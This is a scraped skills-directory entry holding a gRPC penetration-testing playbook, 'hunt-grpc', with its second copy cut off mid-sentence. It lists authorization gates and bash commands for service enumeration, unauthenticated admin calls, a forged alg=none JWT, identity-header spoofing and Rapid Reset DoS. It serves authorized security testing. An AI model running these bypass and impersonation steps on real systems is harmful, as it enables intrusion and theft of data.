[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6F7FHGX3EC1JJS2A62DNPJV":3,"skill-same:01M6F7FHGX3EC1JJS2A62DNPJV":77},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":22,"publishedAt":45,"linkOnly":46,"markdownContent":47,"markdownBody":48,"frontMatter":49,"refName":26,"commitSha":57,"skillDirectory":58,"forksCount":59,"repositoryHtmlUrl":60,"repositoryHomepageUrl":6,"ownerHtmlUrl":61,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":62,"install":63,"resources":76},"01M6F7FHGX3EC1JJS2A62DNPJV","hunt-grpc",null,"Hunt gRPC vulnerabilities","boisenoise\u002Fskills-collections","boisenoise","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F193180?v=4","01M6CDBDQK6BDN55ZMA6B6PKBM","01M6CDBDVSJ3JPTBYN26FZ7TZK",12,"MIT","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-hunt-grpc\u002FSKILL.md",[17],{"categoryNo":18,"categoryName":19,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44],"hunt grpc","grpc","hunt","main","2026","for","relevant","helper","offensive","scripts","scope","commands","advisory","testing","cc","community","only","Tools","license","testing tools","research","security","2026-11-10 10:12:30",false,"---\nname: hunt-grpc\ndescription: Hunt gRPC vulnerabilities\ncategory: security\nrisk: offensive\nsource: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\nsource_repo: elementalsouls\u002FClaude-BugHunter\nsource_type: community\ndate_added: '2026-09-20'\nlicense: MIT\nlicense_source: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE\ncompatibility: Requires explicit written authorization for a target scope plus the\n  relevant testing tools for this technique. Docs-only; helper scripts and commands\n  not bundled.\nsources: hackerone_public, grpc_security_research, cert_cc_advisory\nreport_count: 6\n---\n> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n# HUNT-GRPC — gRPC Security\n\n## Crown Jewel Targets\n\ngRPC reflection enabled = full service catalog enumeration without source code. The highest-value gRPC bugs come from the architectural assumption that a service is \"internal\" — auth is enforced at the edge proxy, and the backend trusts any caller that reaches it. Once you reach the backend directly (exposed port, SSRF, proxy bypass), that trust collapses.\n\n**Highest-value findings:**\n- **Reflection enabled in production** — `grpc.reflection.v1alpha.ServerReflection` \u002F `grpc.reflection.v1.ServerReflection` may list registered services\u002Fdescriptors, subject to reflection policy and registration. Enumeration enabler, not a vuln on its own (see Validation).\n- **Missing auth on internal service** — a service designed for east-west microservice traffic exposed externally with no mTLS and no per-method authorization → call privileged methods directly.\n- **Edge-auth-only \u002F metadata-stripping** — proxy authenticates the user but the backend re-trusts proxy-injected headers (`x-user-id`, `x-tenant-id`, `x-forwarded-*`); if you reach the backend or can inject those headers via the proxy, you impersonate any tenant.\n- **Plaintext gRPC** — gRPC h2c (cleartext HTTP\u002F2) on a non-standard port → credential\u002Fmetadata interception.\n- **HTTP\u002F2 Rapid Reset DoS (CVE-2023-44487)** — interleaved HEADERS + immediate RST_STREAM frames bypass `MAX_CONCURRENT_STREAMS` accounting → resource exhaustion. **DoS is in scope on almost no program — get explicit written authorization before sending a single burst.**\n\n---\n\n## Scope and protocol boundaries\n\nUse only the approved hosts\u002Fports and two controlled test identities; never iterate\nreal users or request secrets as a default proof. Bound requests, time, concurrent\nstreams and response bytes; redact metadata\u002Ftokens and keep TLS validation enabled.\nThe examples contain historical tool-shape commands requiring selected-version\nhelp\u002Fschema checks, not validated invocations. HTTP status\u002FALPN\u002Fcontent type do not\nalone prove valid gRPC framing. Backend\u002Fproxy\u002FConnect routes have independent auth\ncontracts; no arbitrary header name or -bin suffix automatically changes identity.\n\n## Phase 1 — Fingerprint & Port Discovery\n\n```bash\n# Common gRPC ports (50051 native; 443\u002F8443 via TLS+ALPN h2; 9090\u002F8080 h2c)\nnmap -sV -p 50051,50052,443,9090,8080,8443,6565,9000 $TARGET 2>\u002Fdev\u002Fnull | grep open\n\n# ALPN must negotiate h2 — native gRPC normally requires HTTP\u002F2; gRPC-Web\u002FConnect can use other HTTP versions\necho | openssl s_client -alpn h2 -connect $TARGET:443 2>\u002Fdev\u002Fnull | grep -i \"ALPN.*h2\"\n\n# Native-gRPC fingerprint: an HTTP\u002F2 POST to a bogus method returns a grpc-status\n# trailer (12 = UNIMPLEMENTED) even when the path is wrong — strong signal it's gRPC.\ncurl -s --http2-prior-knowledge -X POST \"http:\u002F\u002F$TARGET:9090\u002Fx.Y\u002FZ\" \\\n  -H \"content-type: application\u002Fgrpc\" -o \u002Fdev\u002Fnull -D - | grep -i grpc-status\n\n# TLS-fronted h2 (port 443): look for grpc-status trailer \u002F grpc content-type\ncurl -s --http2 -X POST \"https:\u002F\u002F$TARGET\u002Fgrpc.health.v1.Health\u002FCheck\" \\\n  -H \"content-type: application\u002Fgrpc-web+proto\" -o \u002Fdev\u002Fnull -D - | grep -i \"grpc-status\\|content-type\"\n```\n\n`grpc-status` trailer present ⇒ a gRPC server (or grpc-gateway\u002FEnvoy) is behind that port. `UNIMPLEMENTED` on a random path is normal and only confirms the transport — not a finding.\n\n---\n\n## Phase 2 — Service Enumeration via Reflection\n\n```bash\n# Use an already reviewed grpcurl version; installation needs the project dependency plan.\n\n# Use TLS verification by default; an approved private CA uses -cacert.\n# -plaintext is only for explicitly authorized cleartext lab endpoints.\ngrpcurl -plaintext $TARGET:50051 list\ngrpcurl -max-time 15 -cacert \u002Fapproved\u002Ftest-ca.pem \"$TARGET:443\" list\n\n# Typical output when reflection is on:\n#   grpc.reflection.v1.ServerReflection\n#   grpc.health.v1.Health\n#   user.UserService\n#   admin.AdminService\n#   payment.PaymentService\n\n# List + describe every method of each service\ngrpcurl -plaintext $TARGET:50051 list admin.AdminService\ngrpcurl -plaintext $TARGET:50051 describe admin.AdminService.DeleteUser\ngrpcurl -plaintext $TARGET:50051 describe .admin.DeleteUserRequest   # message schema\n\n# Dump the whole catalog to triage interesting surfaces\nfor SVC in $(grpcurl -plaintext $TARGET:50051 list); do\n  echo \"== $SVC ==\"; grpcurl -plaintext $TARGET:50051 list \"$SVC\"\ndone | tee grpc-catalog.txt\ngrep -iE 'admin|internal|debug|secret|impersonate|exec|migrate|reset|delete' grpc-catalog.txt\n```\n\n**Reflection disabled?** You can still call known methods if you can guess them, or rebuild the descriptor set from a leaked `.proto` (Phase 5) and pass it with `grpcurl -protoset bundle.bin ...`. Reflection-off is a hardening control, not a security boundary.\n\n---\n\n## Phase 3 — Call Methods Without Authentication (authz testing)\n\n```bash\n# Baseline: call a sensitive method with NO auth metadata\ngrpcurl -plaintext $TARGET:50051 -d '{}' admin.AdminService\u002FListUsers\n\n# IDOR across an enumerable id field\nfor ID in \"$CONTROLLED_USER_A_ID\" \"$CONTROLLED_USER_B_ID\"; do\n  echo \"id=$ID\"; grpcurl -plaintext $TARGET:50051 \\\n    -d \"{\\\"user_id\\\": $ID}\" user.UserService\u002FGetUser 2>&1 | head -4\ndone\n```\n\n**Interpret the gRPC status code, not just whether bytes came back (see Validation):**\n- `OK` + populated response → completed RPC; a finding still requires private data\u002Faction beyond the caller's authority.\n- `Unauthenticated (16)` \u002F `PermissionDenied (7)` → this request was denied; this does not certify every path or method.\n- `Unimplemented (12)` → wrong path \u002F method not on this server.\n- `InvalidArgument (3)` → validation error; it does not prove authentication\u002Fauthorization was bypassed.\n\n---\n\n## Phase 4 — Authentication \u002F Trust-Boundary Bypass\n\n```bash\n# (a) Forged bearer \u002F alg=none JWT in the authorization metadata\ngrpcurl -plaintext $TARGET:50051 \\\n  -H \"authorization: Bearer eyJhbGciOiJub25lIn0.eyJyb2xlIjoiYWRtaW4iLCJzdWIiOiIxIn0.\" \\\n  -d '{}' admin.AdminService\u002FGetConfig\n\n# (b) Backend-trusts-proxy headers: many gRPC backends authenticate at Envoy and\n#     then trust identity injected as metadata. If the edge does not STRIP these,\n#     spoofing them = full impersonation. Test every plausible name:\nfor H in \"x-user-id: 1\" \"x-authenticated-user: admin\" \"x-tenant-id: 0\" \\\n         \"x-internal-request: true\" \"x-forwarded-for: 127.0.0.1\" \\\n         \"x-envoy-internal: true\" \"grpc-internal-encoding-request: true\"; do\n  echo \"== $H ==\"\n  grpcurl -plaintext $TARGET:50051 -H \"$H\" -d '{}' internal.InternalService\u002FGetSecrets 2>&1 | head -3\ndone\n\n# Binary metadata is application-defined. A -bin key does not automatically bypass\n# auth; inspect the actual handler contract before using a synthetic test value.\n\n```\n\nThe metadata-stripping bug (b) is the gRPC-specific crown jewel: confirm it by sending the spoofed header **directly to the backend port** AND, separately, **through the public proxy** — if the proxy forwards your `x-user-id` unchanged to the backend, it is exploitable for real users, not just on the bypassed port.\n\n---\n\n## Phase 5 — Proto File \u002F Schema Discovery\n\n```bash\n# Proxies (Envoy\u002Fgrpc-gateway) sometimes serve descriptors or swagger\nfor P in proto api\u002Fproto swagger.json openapiv2 service.swagger.json descriptor.pb; do\n  S=$(curl -s -o \u002Fdev\u002Fnull -w '%{http_code}' \"https:\u002F\u002F$TARGET\u002F$P\")\n  [ \"$S\" != 404 ] && echo \"Found: \u002F$P ($S)\"\ndone\n\n# Source\u002Fregistry leakage of .proto definitions\ngh search code --owner \"$TARGET_ORG\" 'syntax = \"proto3\"' --limit 20 2>\u002Fdev\u002Fnull\ngh search code --owner \"$TARGET_ORG\" 'service ' filename:.proto --limit 20 2>\u002Fdev\u002Fnull\n\n# Rebuild a descriptor set from leaked protos and drive the API without reflection\nprotoc --descriptor_set_out=bundle.bin --include_imports -I proto\u002F proto\u002F*.proto\ngrpcurl -protoset bundle.bin -plaintext $TARGET:50051 list\n```\n\nProto leakage on its own is low severity; its value is as the key that unlocks Phases 3–4 against a reflection-disabled target.\n\n---\n\n## Phase 6 — gRPC-Web \u002F grpc-gateway \u002F JSON-Transcoding Attacks\n\ngRPC almost always reaches the browser through a transcoder: **Envoy `grpc_web`\u002F`grpc_json_transcoder`**, **grpc-gateway** (REST↔gRPC), or **Connect**. These translators are the realistic external attack surface and frequently re-expose internal methods.\n\n```bash\n# (a) grpc-gateway maps gRPC methods to REST. Reflection-derived method names often\n#     map predictably — hit them over plain HTTP\u002FJSON (no gRPC client needed):\ncurl -s -X POST \"https:\u002F\u002F$TARGET\u002Fv1\u002Fadmin\u002Fusers:list\" -H 'content-type: application\u002Fjson' -d '{}'\ncurl -s -X POST \"https:\u002F\u002F$TARGET\u002Fadmin.AdminService\u002FListUsers\" \\\n  -H 'content-type: application\u002Fjson' -d '{}'    # default unannotated route\n\n# (b) Build a real gRPC-Web length-prefixed frame instead of a hand-waved one.\n#     Frame = 1-byte flag (0x00=data) + 4-byte big-endian length + protobuf payload.\n#     Encode the message with protoscope so the bytes are correct:\n#       protoscope -s \u003C\u003C\u003C'1: 1'  > msg.bin          # field 1 (e.g. user_id) = 1\nMSG=$(xxd -p msg.bin | tr -d '\\n')\nLEN=$(printf '%08x' $((${#MSG}\u002F2)))                 # 4-byte length prefix\nFRAME=$(printf '00%s%s' \"$LEN\" \"$MSG\")\necho \"$FRAME\" | xxd -r -p > frame.bin\ncurl -s \"https:\u002F\u002F$TARGET\u002Fuser.UserService\u002FGetUser\" \\\n  -H 'content-type: application\u002Fgrpc-web+proto' -H 'x-grpc-web: 1' \\\n  --data-binary @frame.bin | xxd | head\n\n# gRPC-Web carries framed messages\u002Ftrailers; do not send raw JSON with a made-up\n# grpc-web+json content type. Use a compatible generated client and actual schema.\n\n# (d) Connect protocol (buf): plain JSON POST, unary, no framing:\ncurl -s \"https:\u002F\u002F$TARGET\u002Fuser.UserService\u002FGetUser\" \\\n  -H 'content-type: application\u002Fjson' -H 'connect-protocol-version: 1' \\\n  -d '{\"user_id\": 1}'\n```\n\nWhy this matters: the browser-facing transcoder commonly forwards to the SAME backend as the internal gRPC plane. If the transcoder route exposes `AdminService` or fails to require the auth the gRPC client would have sent, you have a real, externally-reachable authz bug. Confirm each transcoded route returns `OK` with sensitive data, and verify it is reachable as an unauthenticated\u002Flow-priv user (not just from inside the mesh).\n\n---\n\n## Phase 7 — HTTP\u002F2 Rapid Reset DoS (CVE-2023-44487)\n\n**Authorization gate:** DoS is out of scope on the overwhelming majority of programs. Do NOT run this without explicit, written, scoped permission and a target\u002Fwindow the program owner agreed to. Skip to Validation if unsure.\n\nThe attack is NOT a load test. It opens streams (HEADERS) and immediately cancels them (RST_STREAM) before the server finishes, so each cancelled stream frees a `MAX_CONCURRENT_STREAMS` slot instantly while the server still spends work on it — the client races far ahead of the concurrency cap. `h2load`\u002F`ghz` are throughput benchmarkers; **they have no rapid-reset mode and never interleave HEADERS+immediate-RST_STREAM, so they cannot test this.**\n\nPrefer owner-supplied package\u002Fconfiguration evidence and the relevant vendor's\nsecurity advisory. A Server banner can be stripped, spoofed or backported; it is\nan applicability lead, not proof of an unpatched reset-handling implementation.\nDo not label a fixed small burst “detection-only” or safe: any reset flood can be\ndisruptive. A separately approved isolated load test needs explicit stop thresholds,\nmonitoring and rollback. No PoC download\u002Fbuild or exploit invocation is required\nfor this read-only triage workflow, and no third-party PoC is certified here.\n\n---\n\n## Tools\n\n```bash\ngrpcurl   # primary CLI client (list\u002Fdescribe\u002Fcall, -protoset for reflection-off)\ngrpcui    # web UI for interactive exploration:  grpcui -plaintext $TARGET:50051\nprotoc + protoscope   # build\u002Finspect raw protobuf and gRPC-Web frames (Phase 6)\nbuf       # lint\u002Finspect proto, drive Connect endpoints\n# DoS-only, AUTHORIZED engagements: secengjeff\u002Frapidresetclient (true rapid-reset PoC).\n#   NOTE: ghz and h2load are LOAD benchmarkers, NOT rapid-reset testers — do not\n#   use them to \"prove\" CVE-2023-44487.\n```\n\n---\n\n## Chain Table\n\n| gRPC finding | Chain to | Impact |\n|--------------|----------|--------|\n| Reflection enabled | Enumerate all internal service methods + messages | Full API catalog disclosure (enabler) |\n| Admin method, no auth | Call privileged RPCs (`DeleteUser`, `GetConfig`) | Data manipulation \u002F system access — Critical |\n| Proxy forwards `x-user-id`\u002F`x-tenant-id` unstripped | Spoof identity metadata → cross-tenant impersonation | Tenant isolation bypass — Critical |\n| IDOR via enumerable id field | Iterate `user_id` over `GetUser` | Mass PII exfil — High |\n| grpc-gateway \u002F gRPC-Web route re-exposes internal RPC | Hit transcoded REST\u002FJSON path unauth | Externally-reachable authz bypass — High\u002FCritical |\n| Plaintext h2c on internal port | MITM \u002F sniff metadata (bearer tokens) | Credential capture — High |\n| `.proto` leak (repo\u002Fswagger) | `-protoset` to drive reflection-off target | Unlocks Phases 3–4 — Low alone, High as enabler |\n\nRelated skills: **hunt-idor** (id enumeration logic), **hunt-api-misconfig** (JWT alg=none \u002F mass-assignment in request messages), **hunt-auth-bypass** (edge-vs-backend trust boundary), **hunt-tls-network** (h2c\u002Fplaintext + ALPN), **cloud-iam-deep** (if a called RPC returns cloud creds).\n\n---\n\n## Validation — false-positive discipline\n\ngRPC's failure modes look like successes to a naive `grep`. Apply these gates before any submission.\n\n1. **Status-code discrimination, not byte-counting.** A non-empty response can still be an error frame. Confirm the `grpc-status` trailer is `0` (OK). `Unauthenticated (16)` \u002F `PermissionDenied (7)` establish only that the tested request was denied. `Unimplemented (12)` means you have the wrong method. Re-run with `grpcurl -v` and read the trailers explicitly.\n\n2. **Reflection \u002F health endpoints are often intentionally public.** `grpc.reflection.*` and `grpc.health.v1.Health` being reachable is, by itself, an observation that may be intentional and non-reportable — many vendors ship reflection on by design. Do NOT report it as \"missing auth\" unless it leaks a non-public service catalog. The finding is the *sensitive* service you can then call without auth, proven in Phase 3.\n\n3. **Distinguish \"no auth\" from \"auth not required for THIS method.\"** Some methods (health, public catalog reads) are legitimately anonymous. Prove the bug by showing an authenticated-vs-unauthenticated **state delta**: the same RPC returns another user's\u002Ftenant's private data without credentials, or a mutating admin RPC executes (re-read the changed state to confirm side-effect).\n\n4. **Proxy-vs-backend reachability.** A bug reachable only by hitting an internal `:50051` you found via SSRF\u002Fport-scan is real but its severity depends on reachability. State explicitly how an external attacker reaches it (exposed port, SSRF egress, proxy passthrough). For metadata-spoofing, prove the PUBLIC proxy forwards the spoofed header — not just the bypassed backend port.\n\n5. **OOB \u002F Collaborator for anything blind.** If an RPC takes a URL\u002Fhost argument (webhook, import, render), it is an SSRF candidate: point it at a Burp Collaborator payload with a unique subdomain and confirm the DNS+HTTP interaction before claiming SSRF. No interaction is inconclusive; egress, validation, DNS\u002Fproxy behavior can block a callback. Hand off to **hunt-ssrf**.\n\n6. **DoS is authorization-gated and version-verifiable.** Never submit CVE-2023-44487 off a benchmark \"slowdown.\" Use owner-confirmed build\u002Fconfiguration evidence or a controlled isolated test ONLY under explicit written authorization with an agreed window — then stop immediately. A slow response is not proof.\n\n**Illustrative severity possibilities; assess actual privileges, scope and impact:**\n- Sensitive\u002Fadmin RPC callable with no auth, side-effect proven → **Critical**\n- Proxy-forwarded metadata spoofing → cross-tenant impersonation → **Critical**\n- IDOR \u002F mass PII via enumerable RPC → **High**\n- Internal service externally reachable (transcoder or open port) → **High**\n- Plaintext h2c leaking bearer metadata → **High**\n- Reflection enabled exposing non-public catalog → **Medium** (enabler)\n- Proto\u002Fdescriptor leak, no callable sensitive method → **Low**\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n","> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n# HUNT-GRPC — gRPC Security\n\n## Crown Jewel Targets\n\ngRPC reflection enabled = full service catalog enumeration without source code. The highest-value gRPC bugs come from the architectural assumption that a service is \"internal\" — auth is enforced at the edge proxy, and the backend trusts any caller that reaches it. Once you reach the backend directly (exposed port, SSRF, proxy bypass), that trust collapses.\n\n**Highest-value findings:**\n- **Reflection enabled in production** — `grpc.reflection.v1alpha.ServerReflection` \u002F `grpc.reflection.v1.ServerReflection` may list registered services\u002Fdescriptors, subject to reflection policy and registration. Enumeration enabler, not a vuln on its own (see Validation).\n- **Missing auth on internal service** — a service designed for east-west microservice traffic exposed externally with no mTLS and no per-method authorization → call privileged methods directly.\n- **Edge-auth-only \u002F metadata-stripping** — proxy authenticates the user but the backend re-trusts proxy-injected headers (`x-user-id`, `x-tenant-id`, `x-forwarded-*`); if you reach the backend or can inject those headers via the proxy, you impersonate any tenant.\n- **Plaintext gRPC** — gRPC h2c (cleartext HTTP\u002F2) on a non-standard port → credential\u002Fmetadata interception.\n- **HTTP\u002F2 Rapid Reset DoS (CVE-2023-44487)** — interleaved HEADERS + immediate RST_STREAM frames bypass `MAX_CONCURRENT_STREAMS` accounting → resource exhaustion. **DoS is in scope on almost no program — get explicit written authorization before sending a single burst.**\n\n---\n\n## Scope and protocol boundaries\n\nUse only the approved hosts\u002Fports and two controlled test identities; never iterate\nreal users or request secrets as a default proof. Bound requests, time, concurrent\nstreams and response bytes; redact metadata\u002Ftokens and keep TLS validation enabled.\nThe examples contain historical tool-shape commands requiring selected-version\nhelp\u002Fschema checks, not validated invocations. HTTP status\u002FALPN\u002Fcontent type do not\nalone prove valid gRPC framing. Backend\u002Fproxy\u002FConnect routes have independent auth\ncontracts; no arbitrary header name or -bin suffix automatically changes identity.\n\n## Phase 1 — Fingerprint & Port Discovery\n\n```bash\n# Common gRPC ports (50051 native; 443\u002F8443 via TLS+ALPN h2; 9090\u002F8080 h2c)\nnmap -sV -p 50051,50052,443,9090,8080,8443,6565,9000 $TARGET 2>\u002Fdev\u002Fnull | grep open\n\n# ALPN must negotiate h2 — native gRPC normally requires HTTP\u002F2; gRPC-Web\u002FConnect can use other HTTP versions\necho | openssl s_client -alpn h2 -connect $TARGET:443 2>\u002Fdev\u002Fnull | grep -i \"ALPN.*h2\"\n\n# Native-gRPC fingerprint: an HTTP\u002F2 POST to a bogus method returns a grpc-status\n# trailer (12 = UNIMPLEMENTED) even when the path is wrong — strong signal it's gRPC.\ncurl -s --http2-prior-knowledge -X POST \"http:\u002F\u002F$TARGET:9090\u002Fx.Y\u002FZ\" \\\n  -H \"content-type: application\u002Fgrpc\" -o \u002Fdev\u002Fnull -D - | grep -i grpc-status\n\n# TLS-fronted h2 (port 443): look for grpc-status trailer \u002F grpc content-type\ncurl -s --http2 -X POST \"https:\u002F\u002F$TARGET\u002Fgrpc.health.v1.Health\u002FCheck\" \\\n  -H \"content-type: application\u002Fgrpc-web+proto\" -o \u002Fdev\u002Fnull -D - | grep -i \"grpc-status\\|content-type\"\n```\n\n`grpc-status` trailer present ⇒ a gRPC server (or grpc-gateway\u002FEnvoy) is behind that port. `UNIMPLEMENTED` on a random path is normal and only confirms the transport — not a finding.\n\n---\n\n## Phase 2 — Service Enumeration via Reflection\n\n```bash\n# Use an already reviewed grpcurl version; installation needs the project dependency plan.\n\n# Use TLS verification by default; an approved private CA uses -cacert.\n# -plaintext is only for explicitly authorized cleartext lab endpoints.\ngrpcurl -plaintext $TARGET:50051 list\ngrpcurl -max-time 15 -cacert \u002Fapproved\u002Ftest-ca.pem \"$TARGET:443\" list\n\n# Typical output when reflection is on:\n#   grpc.reflection.v1.ServerReflection\n#   grpc.health.v1.Health\n#   user.UserService\n#   admin.AdminService\n#   payment.PaymentService\n\n# List + describe every method of each service\ngrpcurl -plaintext $TARGET:50051 list admin.AdminService\ngrpcurl -plaintext $TARGET:50051 describe admin.AdminService.DeleteUser\ngrpcurl -plaintext $TARGET:50051 describe .admin.DeleteUserRequest   # message schema\n\n# Dump the whole catalog to triage interesting surfaces\nfor SVC in $(grpcurl -plaintext $TARGET:50051 list); do\n  echo \"== $SVC ==\"; grpcurl -plaintext $TARGET:50051 list \"$SVC\"\ndone | tee grpc-catalog.txt\ngrep -iE 'admin|internal|debug|secret|impersonate|exec|migrate|reset|delete' grpc-catalog.txt\n```\n\n**Reflection disabled?** You can still call known methods if you can guess them, or rebuild the descriptor set from a leaked `.proto` (Phase 5) and pass it with `grpcurl -protoset bundle.bin ...`. Reflection-off is a hardening control, not a security boundary.\n\n---\n\n## Phase 3 — Call Methods Without Authentication (authz testing)\n\n```bash\n# Baseline: call a sensitive method with NO auth metadata\ngrpcurl -plaintext $TARGET:50051 -d '{}' admin.AdminService\u002FListUsers\n\n# IDOR across an enumerable id field\nfor ID in \"$CONTROLLED_USER_A_ID\" \"$CONTROLLED_USER_B_ID\"; do\n  echo \"id=$ID\"; grpcurl -plaintext $TARGET:50051 \\\n    -d \"{\\\"user_id\\\": $ID}\" user.UserService\u002FGetUser 2>&1 | head -4\ndone\n```\n\n**Interpret the gRPC status code, not just whether bytes came back (see Validation):**\n- `OK` + populated response → completed RPC; a finding still requires private data\u002Faction beyond the caller's authority.\n- `Unauthenticated (16)` \u002F `PermissionDenied (7)` → this request was denied; this does not certify every path or method.\n- `Unimplemented (12)` → wrong path \u002F method not on this server.\n- `InvalidArgument (3)` → validation error; it does not prove authentication\u002Fauthorization was bypassed.\n\n---\n\n## Phase 4 — Authentication \u002F Trust-Boundary Bypass\n\n```bash\n# (a) Forged bearer \u002F alg=none JWT in the authorization metadata\ngrpcurl -plaintext $TARGET:50051 \\\n  -H \"authorization: Bearer eyJhbGciOiJub25lIn0.eyJyb2xlIjoiYWRtaW4iLCJzdWIiOiIxIn0.\" \\\n  -d '{}' admin.AdminService\u002FGetConfig\n\n# (b) Backend-trusts-proxy headers: many gRPC backends authenticate at Envoy and\n#     then trust identity injected as metadata. If the edge does not STRIP these,\n#     spoofing them = full impersonation. Test every plausible name:\nfor H in \"x-user-id: 1\" \"x-authenticated-user: admin\" \"x-tenant-id: 0\" \\\n         \"x-internal-request: true\" \"x-forwarded-for: 127.0.0.1\" \\\n         \"x-envoy-internal: true\" \"grpc-internal-encoding-request: true\"; do\n  echo \"== $H ==\"\n  grpcurl -plaintext $TARGET:50051 -H \"$H\" -d '{}' internal.InternalService\u002FGetSecrets 2>&1 | head -3\ndone\n\n# Binary metadata is application-defined. A -bin key does not automatically bypass\n# auth; inspect the actual handler contract before using a synthetic test value.\n\n```\n\nThe metadata-stripping bug (b) is the gRPC-specific crown jewel: confirm it by sending the spoofed header **directly to the backend port** AND, separately, **through the public proxy** — if the proxy forwards your `x-user-id` unchanged to the backend, it is exploitable for real users, not just on the bypassed port.\n\n---\n\n## Phase 5 — Proto File \u002F Schema Discovery\n\n```bash\n# Proxies (Envoy\u002Fgrpc-gateway) sometimes serve descriptors or swagger\nfor P in proto api\u002Fproto swagger.json openapiv2 service.swagger.json descriptor.pb; do\n  S=$(curl -s -o \u002Fdev\u002Fnull -w '%{http_code}' \"https:\u002F\u002F$TARGET\u002F$P\")\n  [ \"$S\" != 404 ] && echo \"Found: \u002F$P ($S)\"\ndone\n\n# Source\u002Fregistry leakage of .proto definitions\ngh search code --owner \"$TARGET_ORG\" 'syntax = \"proto3\"' --limit 20 2>\u002Fdev\u002Fnull\ngh search code --owner \"$TARGET_ORG\" 'service ' filename:.proto --limit 20 2>\u002Fdev\u002Fnull\n\n# Rebuild a descriptor set from leaked protos and drive the API without reflection\nprotoc --descriptor_set_out=bundle.bin --include_imports -I proto\u002F proto\u002F*.proto\ngrpcurl -protoset bundle.bin -plaintext $TARGET:50051 list\n```\n\nProto leakage on its own is low severity; its value is as the key that unlocks Phases 3–4 against a reflection-disabled target.\n\n---\n\n## Phase 6 — gRPC-Web \u002F grpc-gateway \u002F JSON-Transcoding Attacks\n\ngRPC almost always reaches the browser through a transcoder: **Envoy `grpc_web`\u002F`grpc_json_transcoder`**, **grpc-gateway** (REST↔gRPC), or **Connect**. These translators are the realistic external attack surface and frequently re-expose internal methods.\n\n```bash\n# (a) grpc-gateway maps gRPC methods to REST. Reflection-derived method names often\n#     map predictably — hit them over plain HTTP\u002FJSON (no gRPC client needed):\ncurl -s -X POST \"https:\u002F\u002F$TARGET\u002Fv1\u002Fadmin\u002Fusers:list\" -H 'content-type: application\u002Fjson' -d '{}'\ncurl -s -X POST \"https:\u002F\u002F$TARGET\u002Fadmin.AdminService\u002FListUsers\" \\\n  -H 'content-type: application\u002Fjson' -d '{}'    # default unannotated route\n\n# (b) Build a real gRPC-Web length-prefixed frame instead of a hand-waved one.\n#     Frame = 1-byte flag (0x00=data) + 4-byte big-endian length + protobuf payload.\n#     Encode the message with protoscope so the bytes are correct:\n#       protoscope -s \u003C\u003C\u003C'1: 1'  > msg.bin          # field 1 (e.g. user_id) = 1\nMSG=$(xxd -p msg.bin | tr -d '\\n')\nLEN=$(printf '%08x' $((${#MSG}\u002F2)))                 # 4-byte length prefix\nFRAME=$(printf '00%s%s' \"$LEN\" \"$MSG\")\necho \"$FRAME\" | xxd -r -p > frame.bin\ncurl -s \"https:\u002F\u002F$TARGET\u002Fuser.UserService\u002FGetUser\" \\\n  -H 'content-type: application\u002Fgrpc-web+proto' -H 'x-grpc-web: 1' \\\n  --data-binary @frame.bin | xxd | head\n\n# gRPC-Web carries framed messages\u002Ftrailers; do not send raw JSON with a made-up\n# grpc-web+json content type. Use a compatible generated client and actual schema.\n\n# (d) Connect protocol (buf): plain JSON POST, unary, no framing:\ncurl -s \"https:\u002F\u002F$TARGET\u002Fuser.UserService\u002FGetUser\" \\\n  -H 'content-type: application\u002Fjson' -H 'connect-protocol-version: 1' \\\n  -d '{\"user_id\": 1}'\n```\n\nWhy this matters: the browser-facing transcoder commonly forwards to the SAME backend as the internal gRPC plane. If the 